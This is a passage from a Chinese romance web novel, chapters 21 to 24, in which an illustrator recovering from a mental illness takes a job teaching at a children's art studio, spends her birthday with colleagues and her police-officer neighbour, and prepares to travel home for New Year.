敲星惹:好吧,我明天下午有空。
……
乔星若来到市医院,进入安医生的诊室。
安医生听到动静抬头,看到是她,弯了弯眼眸。
“若,好久不见。新发型很好看哦。”
乔星若被着措不及防的夸夸整得有些不好意思,将脸颊旁的一缕碎发撩到耳后:“还在发型尴尬期,你就别取笑我啦。”
“我没有开玩笑,是真的很好看呐,不用谦虚。”安医生放下手中的笔,示意她过来坐,“这段时间过的怎么样?停药之后气色好了很多呢。”
“emm挺好的,我最近经常在家做烘焙,出门遛猫。”乔星若打开手机里的一个专属相册给安医生看,里面有几百张乔咪咪的照片。
“它是我的小孩。”
乔星若说起乔咪咪,话就不自觉多了起来:“我之前跟你提过咪咪的。”
“我曾固执认为,它和我的世界都只有彼此,但是这个月带它出门之后,我觉得我重新认识了它。”
“它很喜欢交朋友,也有很多朋友。喜欢晒太阳,和其他小猫在光下追逐、爬树。”
“它很喜欢吃东西,但是也愿意把自己的食物跟朋友分享。”
“我很意外,原来它也有这么活泼的一面,自从带它出去之后,它更黏我了。”
乔星若觉得很愧疚,以前乔咪咪总是陪她在家,或者去上班把它一只猫锁在家里。
乔咪咪曾经是流浪猫,向往外面是正常的,可她从来没有考虑到这点。
她不知道咪咪真正需要什么,沉默迁就的总是它。
她给了她的咪咪很多东西,但仍常觉得亏欠。
“它是小天使,我真的很爱它。”乔星若说着,眼眶渐渐泛红。
安医生前面一直安静做她情感的倾听者,温柔笑了笑:“若,你真的很会爱人。”
“如果说爱是世界上最伟大的魔法,你就是顶级魔法师。”
“爱是双向的,你的小猫一定会理解你,因为它也很爱你。”
“它是见证过最多你这一路无数次自救于水深火热中的家人,对么?”
乔星若点头:“世界不能没有小猫,我不能没有咪咪。”
安医生:“是的,你也要多爱自己,开心一点。你幸福了,爱你的人也会幸福的。”
“……”
乔星若后面又说了些琐碎的事情。聊到感情问题时,她的耳朵染上绯红,手腹不自在地揉着脖颈一侧。
“安,我好像……喜欢上了一个人。”
“这是很正常的事情,不用觉得不好意思。你是人,人就会有情感需求。”安医生温柔看着她,“你愿意和我聊聊关于他的事情吗?”
“……嗯,当然。”
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这是乔星若第二次在现实中跟朋友提起陈时澹,第一次跟身边的人分享这个秘密。
她跟安医生说他们是怎么认识的,重逢之后经历的一些糗事,清点了陈时澹的很多优点。
“他虽然说话喜欢损人,但很神奇的是,我居然没有觉得他的话很伤人,而且很轻易就能听出他语气里的好意。”
“他很细心,对家人很好,喜欢帮助人,会做饭,喜欢吃甜食,还会做甜点。他很高冷,但在我难过的时候也会展现出温柔的一面。”
乔星若红着脸低下头,小声说:“他是一个很好的人,能力、性格、身材都很出众,反正就是超级好。”
说到这里,她情绪有些低落。
“我可能……嗯,我不认为他会喜欢这么糟糕的我。”
“……”
安医生轻轻摇头,目光温和而坚定:“宝贝,你并不糟糕,你只是还没愿意相信,事实上你是一个优点并不比他少的女孩子。那么坚强的你,是值得被爱的。”
“如果你有余力的话,可以试着朝他的方向再向前一步。未来如何是我们没办法预测的事情,但唯一的定数就是,无论发生什么我都会一直陪着你。”
“……”
跟安医生告别之后,乔星若离开医院,来到跟江嘉明约好的咖啡厅。
她已经提前十来分钟到了,没想到江嘉明比她还早,已经在店里等着了。
“你……们等很久了吗?”乔星若在他对面入座,注意到他旁边还坐着一个陌生男人。
“没有,我刚到。要喝点什么?”江嘉明跟安医生一样,一眼注意到了她的头发,朝她笑了笑,“新的一年换发型啦?挺好看的。”
乔星若听过了好几遍类似的赞赏,渐渐也不再觉得这个发型有多糟糕了。
“谢谢。”
乔星若点了杯热的半糖燕麦奶。
江嘉明跟她介绍旁边的人:“这是我的另一位合伙人欧辞钦,他是我大学同学。”
男人朝她微微颔首,官方微笑:“你好,欧辞钦。”
乔星若抿起一抹浅浅的笑容:“你好,我叫乔星若。”
简单认识之后,江嘉明主动提起创业的事情:“星若,是这样的,辞钦和我现在刚开始教培创业,主要方向是少儿美术,也在招更多的合伙人。”
“因为招聘的老师流动性太大,家长学生也会有意见,所以我们目前是希望能够有一位稳定的美术老师。”
“我记得之前你说过你在大学期间考了教资,现在也正好在找工作。我们觉得你的条件都挺符合的,想问问你有没有这个入伙意向。”
乔星若也在家休息好一阵子了,确实需要找工作了。她没什么大志向,难得有人给她提供了机会,还是认识的同学,说不心动是假的。
乔星若双手捧着燕麦奶,食指摩挲着杯壁:“我能问问……具体的合作内容吗?”
“当然。”江嘉明拿出一份纸质协议给她,“资金方面由我和欧辞钦分摊,你只需要负责教学,课时费五五分。更详情的都写在里面了,你可以回去慢慢考虑,后面再给我们答复。”
“……”
21. 兔耳
乔星若跟着去参观了他们的初创画室,租的场地是社区的临街商铺,划分四区:教室、休息区、卫生间,还有放置新画材的仓库。
周边配套设施完善,人流量大。还有一点乔星若挺满意的,这里离繁花苑不远。
剩下的一些问题都在她回去之后跟他们线上谈。深思熟虑过后,乔星若签了合同。
江嘉明拉了个群,发了个打气的表情包。
江嘉明:让我们一起把山河画室做大做强好吗?!好的!!
欧辞钦:【表情/OK】
乔星若噗嗤一声,也回了个“好的”的表情包。
小字一签,她又成为了一名苦逼上班族。
画室老师的工作时间非常灵活,周中是在晚上上课,周末则是全天。其余时间备课做课件,提前帮小朋友们准备材料、家长沟通、画材订购等。
期初还需要调整排班、核对学生私信,白天还有定期安排的教研和学习。
看似事少,实则很多,每天工作十小时以上是常态。
加上画室初期艰难,乔星若也需要为江嘉明和欧辞钦分担一些工作。
乔星若不太介意被安排超范围的工作,她也在某书上了解过一些人创业经历,他们仨的合作已经是算很和谐的了。
合伙人如同搭伙过日子,想长久下去,就得互相包容互相理解。乔星若也看得出来,不到实在忙不过来他们也不会把额外的工作交给她。
称心的工作本就难找,所以只要没有复杂的人际关系,她觉得累点是没关系的。
而且那些小孩子真的太可爱了!
会喊她漂酿若若老师,画室发的小零食会想着留给她,情绪价值拉满了。
家长们也是一些通情达理好说话的人,对她客客气气的。除了询问她感情问题要给她介绍对象以外,一切都能应付下来。
好了,这种生活她乔星若能过一辈子!
每天都很充实忙碌,乔星若在约稿平台上接的单都少了一些,只有休息日才抽空画一下。
以至于遛猫的时间都少了,上个月天天遛,这个月一周只遛两三天。
某下午忙活完,乔星若盖上笔记本电脑,转头对上乔咪咪幽怨的眼神,有些心虚地收回伸了一半的懒腰。
“咪宝,妈妈抱抱。”乔星若起身走过去,抱起猫猛猛吸了一顿。
“妈妈现在有稳定的工作啦,所以不像之前那么有时间陪你玩了。我们要互相理解,对不对?”
“……”
哄了乔咪咪几分钟,乔星若随手披了件外套,蓬头垢面地带它下楼遛弯。
可能是出门不看黄历,也可能是老天惩罚她追人不走心,早就将crush扔在了一堆事情之后。
所以她刚下楼没走几步,就在单元楼下遇到了陈时澹。
乔星若沉默两秒,低头看了眼自己外套里面的粉兔子睡衣和毛绒拖鞋,当即调头快步走。
可还没走几步,便被人从身后扯住了睡衣帽子的一只兔耳朵。
“你又搞颜色犯事了?跑什么。”头顶上方的声音温沉,含着微不可察的笑意。
乔星若:“……”
这是可以说的吗。
咳,他是真的进步了,这种事情都能用调侃的语气说出来了。
之前不是还说她让人害怕来着……
“嗨,好巧呀师哥。”乔星若讪笑了一声,“你下班回来啦?”
“嗯。”陈时澹松开她的衣服,很平常地随口一问,“又下楼遛猫?”
又。
乔星若敏锐捕捉到了这个词眼,所以他之前是看到了她的朋友圈,但没给她点赞。
好吧。
不开心,但没理。
乔星若花了一秒哄好自己:“对啊,咪咪它……”
余光瞥到不远处,她目光一顿。
一位年纪退休的老奶奶往这边走过来,是画室里一个叫阳阳的小朋友的奶奶。
就是这么巧,他们是一个小区的。
前两周乔星若下楼遛猫,阳阳奶奶认出她来,拉着她聊了两小时,要把大侄子介绍给她。
给乔星若聊得社恐症犯了,脑子里词穷,只能一直打哈哈赔笑,回家的时候脸都僵了。
身体最先作出反应,乔星若闪到陈时澹身后。
“?”陈时澹不明所以回头,不知道她又抽的什么风。
乔星若有气无力地解释:“是认识的人……你挡住我就对了。”
可惜阳阳奶奶视力5.0,大老远就看到她了,迈着健硕的步伐朝她走过来。
“若若老师!”
乔星若:“……”
她闭了闭眼,一秒切换成职业微笑,从陈时澹身后走出来。
“阳阳奶奶,好巧呀,您是要去接阳阳放学吗?”
“没有,他爸爸今天下班早,回来路上顺便接阳阳了,我去找我老姐妹。”阳阳奶奶爽朗地笑了两声,又有点疑惑,“若若老师,你刚才这是……”
“啊我刚才……唇泥没抿匀,躲他身后补救一下来着。”乔星若一本正经地说胡话。
“看不出来啊,若若老师你涂口红了?”阳阳奶奶盯着乔星若的唇色,有些新奇。
“我今天涂的口红色号是这样的,现在市面上什么色都有,哈哈。”
陈时澹瞥了眼乔星若的唇。
唇形是他们美术学意义上的性感,薄却不失饱满,呈淡粉色,说涂了口红似乎也说得过去。
陈时澹在一旁听着她们唠,乔星若笑的跟鬼一样僵,莫名想笑。
“对了若若老师,上次我跟你说的我大侄子你考虑的怎么样啦?”阳阳奶奶说着掏出手机,“我回去还特意让他妈妈给他拍了张全身照,我给你看看哈……”
像乔星若这种长相标致的女孩子,性格好,工作还是老师,在长辈那里是很讨喜的。所以阳阳奶奶一直惦记着,对这件事情格外热衷。
还是来了。
躲不过,根本躲不过。
“不用了阳阳奶奶,真的不用,谢谢您。”乔星若慌乱摆手,想到什么说什么,“那个……其实我是羽城人,只是在海城这边工作,家里不让我找外地的……”
陈时澹眼里的戏谑消失。
他很快又恢复了工作时的神情,周身的气势冰锐如锋。
话说,他妈好像在羽城也有几套房来着?
但念头一转——
神经病啊,跟他有什么关系。
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“羽城啊,”阳阳奶奶呢喃了一句,有些为难,“倒是有蛮多羽城人来这边工作的,我到时候问问我那些老姐妹们有没有合适的,若若老师你等我消息哈。”
那真的是……很热心了。
乔星若:“……倒也不必。”
“哎呀若若老师你还跟我客气什么,那就先这样,我先走了哈。”阳阳奶奶豪爽地挥挥手,脚下生风般大步离开。
“哟,若若老师。”
“?”乔星若还没从刚才的聊天中回过神,忽然听到陈时澹这么喊她,懵然抬头。
才发现陈时澹一直都在!
她想起刚才的话题,记忆变得扭曲。
crush在旁边听人给她介绍对象,想想都诡异啊……
”嗯?怎么不说话?”陈时澹看她的眼神似笑非笑的,又喊了一声,“若、若老师。”
“……”
这个称呼由他喊出来,跟画室里的那些小朋友喊她的感觉完全不一样。
乔星若一直都觉得他的声音很好听,在清朗与沉稳之间,完全不逊色于声优,听起来有种很安定的感觉。
喊这个称呼时却多了一种不一样的感觉,酥酥痒痒的,似是在她的耳边低语。
带着调侃之意的语调,更像是在撩拨她。
乔星若的耳朵不争气地红了。
可恶,为什么要在毫无准备的时候遇到他,这真的让她很被动啊。
“我……我先去找咪咪了……”乔星若心里莫名生起挫败感,扔下这句快速离开。
陈时澹盯着她的背影,微微眯眼。
以前怎么没发现这人是个顺拐?
—
不知不觉到了生日。
这几年的生日都没怎么好好过,乔星若也渐渐对生日也没什么感觉,和平常日子一样。
今年的生日正好在立春。
春天的开始。
然而可能是因为寓意太美好了,她没接住,一觉醒来感冒了。
脑子混混沌沌的,乔星若在床上坐起来,弓着腰扶额,长长“啊”了一声,喉咙间的黏糊钝痛才稍稍缓解了点。
也没多大用处,几秒后又变回了那种感觉。
想到自己还要上班,今天满课,乔星若便没再磨蹭。
她给大鹅抱枕盖好被子,小腿在没有地毯的那头垂下床,胡乱找着不知道踢哪去的棉拖鞋。
现在天气冷,乔星若懒得化妆卸妆,洗漱完便离开了卫生间。拿着茶几上的水壶到厨房接好水,通电运作。
空间里只有水壶的声音翁然,听得人昏昏欲睡的。乔星若等水开期间吃了个紫米面包,闭着眼一下一下地嚼,像是能随时睡过去。
水开后,厨房重新变得静谧。她缓缓睁眼,把水壶拿出厨房,来到小饭桌前找了一包感冒灵冲剂倒进陶瓷杯里,用热水冲开。
用长柄勺搅拌均匀后,乔星若捧起杯子,淡淡的苦药味钻入鼻子,让她不禁皱眉。
喝药之前想到什么,乔星若拿起一旁的手机,对着杯子拍了两张发朋友圈,仅陈时澹可见。
咳,多好的机会!
在网上新学到的,追人就要心机一下子,主动创造话题,让crush关心一下她!
22. 暗爽
发完朋友圈,乔星若一口闷完了药,将杯子洗干净放回原位,拎包出门。
害怕传染感冒给画室的小朋友,她出门前还特意拆了个口罩戴上。
锁门时隔壁门正好被人打开,一个清瘦高挑的身影出现,穿着与气质相符的黑色长外套,应该是要去上班。
“早上好呀。”乔星若主动打招呼。
她的声音有些哑,带着鼻音。陈时澹注意到了,抬眸瞥了她一眼:“感冒了?”
“嗯嗯。”乔星若点头,眼睛亮了一下。
难道他看到她朋友圈了?那是不是得关心一下她了?
安静两秒,陈时澹给了个很直男的提醒,言简意赅:“多喝热水。”
乔星若:“……”
就说是不是关心吧。
她语气郑重:“好的,谢谢提醒。”
电梯门这时正好开了,两人一起坐电梯下楼。
既然都遇到了,陈时澹随口问了句需不需要送她。
乔星若想了一下,分局离山河画室不远,就隔了两条街,应该不会耽误他上班,便果断把刚叫的网约车取消,蹭他的车去画室。
“之前没来得及问,你这是找着工作了?”陈时澹语气漫不经心的,似是随口一提。
“对呀,高中同学开了个画室,邀我跟他们合作。”乔星若系好安全带,给他报了个地址。
“还挺近。”陈时澹顿了一下,“是初创画室?那岂不是人少活多,你觉得吃得消吗?”
他虽然不知道乔星若心理疾病的程度,但据自己了解到的这方面的人,一般都活在一个“很累”的状态,严重的甚至影响生活,没有精力去做别的事情。
乔星若需要吃药,说明心理问题是已经到了需要药物配合治疗的程度。之前发现她总待在家里不出门,他并不意外,也能理解。
没想到现在出去工作了,一搞就搞这么高精力的事情。
乔星若诚实道:“还好吧,是有点累,但我还挺喜欢现在的工作的。”
陈时澹眼睑微动,没再说什么。修长的手指搭在方向盘上,窗外的光照进来,打在他的手背上,血管更清晰了几分,白的突兀。
简直手控福利。
乔星若没忍住往那边偷看了几眼。怕自己意图太明显了,她硬生生收回视线,打开手机看了起来。
正好看到乔景元半小时前发来的语音条,乔星若下意识点开。
男生有润泽的少年音在车内播放:“姐姐,你今晚几点下班?”
乔星若这才想起原本前几天跟乔景元约好了她生日这天一起吃饭,但计划赶不上变化,没想到自己感冒了。
怕传染给他,也只好取消了。
陈时澹听到内容,随口问了句:“你弟也在海城?”
乔星若斟酌着如何婉拒这顿饭,依然垂着眸看手机屏幕,没多想回答:“嗯,他在海城读书,之前来过我家里,你见过的。”
陈时澹记性好,立即想起来了那个男生的模样。还想到了之前在医院遇到他们,两人拥抱在一起,乔星若还给男生整理了衣领。
陈时澹眉梢一挑,故作不经意问:“亲弟弟?”
“堂弟。”乔星若想起乔景元之前跟她说的话,直白道,“他说他觉得你不太喜欢他,看他的眼神跟含着刀片一样。”
“。”陈时澹绷着脸,面无表情,“他看错了,没有的事。”
误会解开了,他心情莫名好了些,眉眼舒展。
因为旁边有人,乔星若没好意思发语音,打字回复乔景元:不好意思啊景元,我今天起来的时候发现感冒了,还是过两天我好了再一起吧。
对面很快回复:“那好吧,那姐你注意休息别太累了,记得吃药。”
后面还附带了个可爱的表情包。
被家人关心的感觉真好,乔星若无意识勾起一抹笑。
“你今天生日?”陈时澹有些意外,怪不得今早看到她的朋友圈文案是什么一早收到了春天的祝福。
“是啊,师哥你要不要给我送句祝福啊?”乔星若往他的方向歪了下头,开玩笑道。
陈时澹似乎是在专注开车,没有说话。
等了几秒都没有得到回答,某i人有点碎了。
小气鬼。
乔星若紧抿着唇,腹诽着低头看手机。
很快到达地方,陈时澹把车停在山河画室旁边:“到了。”
“……”乔星若还想着刚才的事情,连“谢谢”都不想跟他说了,低头解安全带。
“生日快乐。”
清冷的声色不含杂质,尾音稍稍上挑,含着不明显的兴味。
她迟钝抬眼,对上了那双深邃的眸。
他的眉宇锋利,平时笑时也没有什么亲切感,这回居然少见的,柔和。
“……”
尽管大概率是自己多想,乔星若呐呐跟陈时澹道别后,走进画室时脑子还乱乱的,心率有点快。
画室还招了十来个准备走艺考的初中生,由江嘉明亲自带,上课时间在周末,上课时间比乔星若带的班时间提前一小时。
所以江嘉明过来得早,正在休息区泡咖啡。见到她说了句“若若早”,给她递了一杯。
他们都是跟着学生们喊的称呼,什么若若、明明、西芹。
习惯被这样喊了和喊他们了,乔星若也不觉得有什么暧昧成分在,就是一个以表亲切的称呼。
她摆手拒绝:“谢谢啊,但我还是不喝了,感冒。”
这些天的相处,他们已经很熟了。江嘉明笑着调侃:“感冒了啊,居然在生日这天感冒,挺特别的一天。”
乔星若疑惑:“你怎么知道我生日?”
“看过你资料上的身份证号啊。”江嘉明解释,“西芹也知道,他刚才还跟那些小孩说了,让他们记得祝你生日快乐。”
果然,乔星若一进教室,一堆小朋友涌过来要跟她抱抱,对她说“生日快乐”。
晚上下课之后,在门口送完全部小朋友们放学,乔星若准备回去了。江嘉明和欧辞钦却半推半哄地拉着她进办公室。
室内没开灯,唯独门口对面的桌上泛着暖黄的烛光,往四周暗处柔和晕开。
他们给她准备了个六寸蛋糕
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。
“若若,生日快乐啊。”
虽然乔星若对生日的仪式感没什么执着,但看到朋友为自己花心思准备惊喜时,还是会幸福到哽咽。
欧辞钦见她一副被感动到的模样,扬眉开玩笑:“合伙就是家人了,应该的,若姐坚强点啊。”
江嘉明也弯了弯眼睛:“许个愿吧若若。”
乔星若思索片刻,十指交合举到跟前,简单许了个愿。
——希望身边的人天天开心。
好吧,今年的生日确实是特别的,她过得很开心。
因为感冒,乔星若没吃多少蛋糕,只浅尝了上面的水果。
欧辞钦拍照技术好,还拉着他们拍了几张合照,发到三人的群里。
乔星若挑了张精修发朋友圈。
江嘉明家的方向跟繁花苑顺路,吃完蛋糕后,江嘉明提出顺便捎她回去。
乔星若的心里虽然已经将江嘉明划进了信任的名单里,但还是没有立即答应。
这种戒备出于跟异性独处且力量悬殊的戒备,是人之常情。
对陈时澹没有,一半原因是出于对警察的滤镜,一半是好像陈时澹才是该害怕的那个。
乔星若正犹豫着,忽然看到不远处闪着灯的车上下来一个熟悉的身影,不由愣了一下。
陈时澹显然早就看到她了,目标明确地往她的方向走过来。
乔星若稍仰起头,怔怔看着走到她跟前的人:“你怎么过来了?”
“我今晚加班,顺路过来接你回去。”陈时澹垂眸,神色平静,“不是八点半下课么,怎么这么晚才出来?”
乔星若舔了舔唇,回头看了眼另外两人:“同事陪我过了会儿生日。”
江嘉明:“若若,这位是?”
听到这个称呼,陈时澹薄唇紧抿,不动声色往乔星若更近了点。
乔星若:“我们师哥呀,他高中也是川海画室的。你应该听说过他的,李老师说的那个很厉害的状元师哥就是他,陈时澹。”
平常都听她喊他“师哥”,还是第一次听她念他的名字。
陈时澹上了一天班的怨气少了大半,浓重的眸色变得清明,连带着凌厉的神情也缓和了些。
上学的时候经常听到“画神”、“天赋怪”诸如此类的称呼,陈时澹听多了便没什么感觉。
但听乔星若这么介绍他,心里却莫名升起一种难以言喻的感觉。
隐隐的,暗爽。
旁边女生的身高勉强到他的肩膀,视线微微一低,便能看到她毛茸茸的发顶。
他们此时站在路灯下,暖色调的光线柔和,给她的身影渡了一层柔软的光。
二分光影的边界处,似是用喷枪洒了一层浅浅的暖橙,被晕染开。
陈时澹的目光被吸引了过去,莫名恍了一下神。
异于常人的自制力让他迅速收回视线,手指关节抵在唇边清咳一声,谦虚道:“还好,也没那么神。”
乔星若听这话不乐意了:“不要贬低我心中那个画神啊我跟你讲。”
“哦。”陈时澹唇角动了动,没再反驳。
23. 放电
江嘉明眸里划过讶异,扬起一个友好的笑容:“原来是陈师哥啊,久仰大名。你好,我是江嘉明,跟若若一届的。”
“你好。”陈时澹微微颔首,恢复了那幅冷淡的模样。
“……”
学艺术的人多少有点自我主义,江嘉明读书的时候也是大家口中的天赋型选手,被吹捧着长大的。校考没怎么尽心便考了好几个美院的小圈证,最后选择了海美也只是因为离家近。
所以对于从没接触过只是在旁人那里听说的“画神”,其实没多少敬畏感。最多也只是觉得有点新奇,随即淡然不屑。
不是同一届的,打完招呼后自然是没什么话说。
气氛有些冷场。
欧辞钦“嗯哼”一声,给江嘉明递了个意味深长的眼神:“那我先走了啊,你们同门之间慢慢聊。”
“……”
有一个人离开了,剩下的人也没再多留。乔星若看向江嘉明:“我和师哥是邻居,我坐他的车回去就好啦,明天见。”
江嘉明顿了一下,还是跟她挥了挥手:“好吧,明天见。”
“……”
上车后,陈时澹注意到乔星若脸上浮现的一层愉悦的神情,极轻地挑了下眉。
“傻乐什么呢?”
“?”乔星若下意识用手背摸了下唇角,根本没扬起,“我哪有傻乐?”
她觉得这人有时候挺莫名其妙的,一个人的情绪被他描述起来能夸大好多倍。之前集训期间那次也是,她看见那一百块钱明明只是笑一下,被他说成笑容灿烂。
陈时澹难得好脾气地“嗯”了一声:“那换个问法,你在开心什么?”
乔星若被他这态度弄得有些发怔,不知道该说什么。
她今天确实很开心,收到很多很多的祝福,发现自己也是被很多人在乎的。这种感觉像是被幸福包围了,没有比这更让人着迷的事情了吧。
而此刻的开心,应该是……陈时澹今天接送她上下班了。
上午是因为正好偶遇才坐上了他的车,可晚上……是他自己过来的。
乔星若没想过他会来,还是在她纠结的时候刚好出现,无意中替她解了围。他也没有提前跟她说,像是一个没有预感征兆却措不及防出现的惊喜。
他比她想象的要在意她,所以觉得很开心。
但乔星若没好意思明说,只是含混找了个借口:“我生日开心一下还不行啦。”
“嗯,你开心就好。”
听着像是在敷衍,乔星若撇撇嘴。
回到家门口,陈时澹让她等一下,自己开门进屋。
过了一会儿后,拿出了一个巴掌大小的橙子蛋糕递给她。
乔星若觉得这个场景有点眼熟。几秒后回想起她搬过来的第一天,陈时澹也送了一个橙子蛋糕给她。
那时候的他觉得她故意轻薄了他,还很厌烦自己,眉眼间透着毫不掩饰的不耐。现在态度依然淡漠,但锋芒敛了许多。
“发什么愣啊。”陈时澹把蛋糕放到她的手心上。
他刚才在车里等她时,百无聊赖刷了会儿手机,看到她最新一条朋友圈,才知道她已经有蛋糕了。
但做都做了,不送又浪费,吃不吃是她的事情。
乔星若眨了眨水润清澈的眼睛,压抑住极涨的情绪。
虽然这个举动已经说明一切了,但她还是忍不住向他确认,声音轻似呼吸:“给我的吗?”
“生日礼物。”陈时澹抬手揉了揉脖颈,神情有些不自在。
啧。
流氓都这么会的吗。
说话就说话,眼睛放什么电……迟早报警抓她。
“随便做的,今晚吃不下的话就放冰箱。”
“……”
乔星若小心翼翼捧着蛋糕回到家里,将蛋糕放进冰箱,没有立即关上门。
她透过透明的包装盒,目不转睛盯着里面的蛋糕。
心里的某种情绪在发酵,咕噜咕噜的,很快冒起了泡泡。
冰箱里冒出的寒气勉强让她冷静了些,脸颊升温得也没那么明显。
但还不够。
乔星若关上冰箱门,转过身背靠着冰箱,用冰冷冻人的掌心捂住了脸。
也许呢?
她不是那种自以为是的人。
但她不可控地冒起一个念头:也许……陈时澹对她也是有一点点感觉的。
—
洗了个热水澡,疲惫的神经得到舒缓。乔星若像蚕蛹一样窝在被子里,将凉掉的身体捂热。
感觉到暖和一点后,她忽地从被窝里探出一只毛茸茸的脑袋。
双颊在被子里闷久了微微晕红,羽毛般的睫毛微颤。星眸蒙了一层薄薄的水雾,带着几分无辜和茫然。
好像抓到了一个漏洞。
陈时澹不是说他刚下班,顺路去接她的吗?
那蛋糕是什么时候做的?
难道是之前做好的一直放在冰箱里,看她今天生日就正好送给她了?
如果是这样的话,放多两天就不能吃了吧……他送的蛋糕,她还想留久一点呢。
苦恼半天,乔星若还是鼓起勇气给隔壁的人发了条消息:师哥,那个蛋糕……你是什么时候做的呀?
隔壁——
今天难得早下班回家就下厨的陈时澹:“……”
这人也太细心了点,有必要优点那么多吗。
他怎么可能特意去接她。
只是做完蛋糕觉得待在这屋里有点窒息了,正好想出去透口气,又正好带了车钥匙不小心按到了负一楼,正好没事做顺便过去接她……
而已。
又不是多重要的人。
切。
几分钟后,乔星若的手机振动了一下。
隐隐预感到是谁发来的消息,她下意识拿起来查看。
陈时澹:你别管。
“?”
乔星若扣了个问号过去,但对方没再回复。
行吧,还挺傲娇。
她在被窝里翻了个身,唇角抑制不住地上扬。
“……”
晚上十点半,乔星若在桌前睡前护肤,许敏打了电话过来。
她加快了手中的动作,空出一只手点击接通。
“喂?若若啊,生日快乐呀,希望我的若若新的一岁健康平安、天天开心。”
乔星若听得心暖暖的,乖乖回答:“谢谢妈妈。”
两边沉默两秒,许敏试探性的声音传来:“嗯……若若啊,你今年想不想回来过年?”
温馨的气氛逐渐消散,取而代之的是沉默压抑。
乔星若的掌心微微聚拢,食指与拇指摩挲着,无意识暴露了内心的不安。
“就是……妈妈挺想你的。如果,如果你不想回来,妈妈也可以去海城找你,我自驾过去,你看可以吗?”
“……”
乔星若沉默听着,听到许敏说要来找她,睫毛颤了颤。
她记得许敏身体不好,因为开店常年操劳,腰经常疼。
长途很辛苦的,她不想让妈妈那么累。
往年许敏也提过想来看看她,但她都以跟人合租不方便为由拒绝了。
但是今年……她已经好很多了,精神状态看着跟常人无二,她也想让这位精神和物质上一直支持她的人,看看她好起来的样子。
乔星若缓缓深吸了一口气,声音轻如残败的羽毛。
“我不知道……我再考虑一下吧,如果可以的话,我回羽城,您别过来了。”
“……”
许
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敏听她没有直接拒绝,立马高兴了。压抑着强烈的激动连说了几个“好”,像以往一样又絮叨了几句别的,才结束了通话。
那晚之后,乔星若闲下来的时候也会纠结一下,今年到底要不要回家。
海城和羽城距离四百多公里,坐高铁或自驾也才几个小时。
物理距离很容易能到达。
乔景元因为实习原因,到除夕才放假。
临近年关,他也问过乔星若要不要一起回去,她没有立即给回复,只是说再看吧。
在乔景元放假的前一天晚上,像是下定了某种决心,乔星若给他发了消息:我们一起回去吧。
乔景元的假期只到大年初八,到时候他们也可以一起回来。
乔星若安慰自己,只是回去待几天而已。
没关系的。
—
决定今年回羽城过年后,乔星若开始着手行李。
她自己没什么东西,只收拾了几套日常穿的衣服,还有几样护肤和化妆的东西,便没什么要带的了。
需要费心思的是毛孩子的东西。
乔咪咪是一定要带的。
她在网上搜带猫回家攻略时,还看到了很多留守猫咪攻略。备够猫砂和粮水,让猫咪自己在家待几天是没问题的。
可是她觉得自己离不开咪咪。
虽然她在羽城长大,但已经很久没回去了。她还是莫名觉得,那更多程度上算是一个异乡。
在陌生的地方,她觉得自己需要一个熟悉的精神寄托随时在身边。
听取网上的攻略,准备好猫咪在长途中要用到的东西。
网上的博主建议带猫用过的猫砂到新环境,可以给猫咪安全感。
乔星若犹豫片刻,到猫砂盆前装了小半袋乔咪咪用过的猫砂。同时分心跟乔景元商量好明天汇合的时间地点。
很巧的是江嘉明居然现在还没有回老家,知道乔星若今年要回去之后表示可以捎上他们。
乔星若考虑了一下,最终还是答应了。
因为她在网上听说有些宠物托运是黑商,用的托运环境超级差,所以不放心乔咪咪坐托运,也担心它坐不惯顺风车。
加上过年难叫到车还死贵,正好有朋友顺路可以带上他们,何乐而不为。
更何况有乔景元在,她跟其他异性待在一个空间里会安心许多。
回羽城前一天晚上,乔星若收拾完行李,严谨地按照清单检查了一遍。
翌日起床,她做好所有锁门窗停电的工作,发现距离约定的时间还早,便坐在行李箱上,手肘撑着拉杆,百无聊赖地在原地转了半圈。
乔星若歪头看着手机,有些纠结要不要跟陈时澹说一声。
虽然这事和他没关系,跟他提好像显得有点突兀。
但,她又很想告诉他。
乔星若晃着小腿,随便找了个借口给他发消息。
敲星惹:师哥除夕快乐呀。
对方很快回复:嗯,除夕快乐。
看到他的回复,乔星若眼睛一亮,紧接着“不经意”发了句:我回羽城过年啦,年后见!
陈时澹:年后见,一路顺风。
原以为聊到这就结束了,可她发现聊天框界面上方还显示着“正在输入中”,便耐心等了一会儿。
过了半分钟,界面刷出新的消息。
陈时澹:你已经走了?
乔星若诚实回答:还没,现在还在家,大概半小时之后吧。
陈时澹:嗯。
估计他也只是随口一问,乔星若没放在心上。
刷了十来分钟短视频,见时间差不多了,乔星若从行李箱下来,把乔咪咪放进猫包,拖着行李来到门口。
门一打开,她便看见外面站了一个身影。
24. 羽城
乔星若一愣,朝门外的人挥了挥手:“上午好呀,你刚从外面回来吗?”
“嗯。”陈时澹神情淡淡扫过她的行李,朝她走近。
气息及近,乔星若呼吸下意识一窒。
直到手心虚空,她才呐呐反应过来,他是要帮自己搬行李。
“……谢谢。”
乔星若空出来的双手可以垫着猫包底下,胸腔的负担减轻了,话也多了些。
在电梯厢里,乔星若转头看旁边的人:“师哥,你们局里放假了吗?”
“嗯。”陈时澹顿了一下,“大年得回去值两天班,其余时间可以在家休息。”
“那你是不是也要回家呀?”
“嗯,中午回去。”陈时澹垂眸看着手机,随口一问,“你怎么回羽城?”
“坐朋友的车回去,他现在应该快到了。”
“……”
他们说话间走到小区门口,江嘉明已经在外面等着了。
看到乔星若,他下车朝她走过来。
陈时澹认出这个男人,神情一瞬间冷凝。
好家伙,朋友说的就是这个人,还是异性。
也不知道这傻子心里怎么想的,孤男寡女在一个空间里,这还不够危险吗??
平时不是很害怕,就这么放心这个男人?
陈时澹的脸色阴沉,但江嘉明已经走到他们面前了,也不好当着人的面说什么。
江嘉明的目光定在乔星若脸上,莞尔:“若若,除夕快乐。”
乔星若:“你也是,除夕快乐呀。今天要麻烦你啦明明老师。”
此话刚落,忽地听到旁边的人轻啧了一声。
她不明所以,扭头看了他一眼。
陈时澹没看他们,而是低头看着手机。另一只手的手指搭在她的行李拉杆上,有一下没一下地敲着。
啧。
明明老师~
啧啧。
他记得上次那个男人跟他自我介绍的时候名字不是叠词,还真是亲热。
再回想起乔星若之前跟那个要跟她介绍对象的老奶奶说,家里想让她找羽城的对象……
现在他们一起回去,说明这个叫江嘉明的人也是羽城的。
都对上了。
啧。
乔星若察觉到陈时澹不太对劲,迟疑着问:“师哥?你怎么了?”
陈时澹莫名烦躁,但很快又说服自己。
她到底跟自己有什么关系?烦死了。
只不过是看她一个女孩子在这边没什么朋友,又正好住自己隔壁,所以才多关照一下。
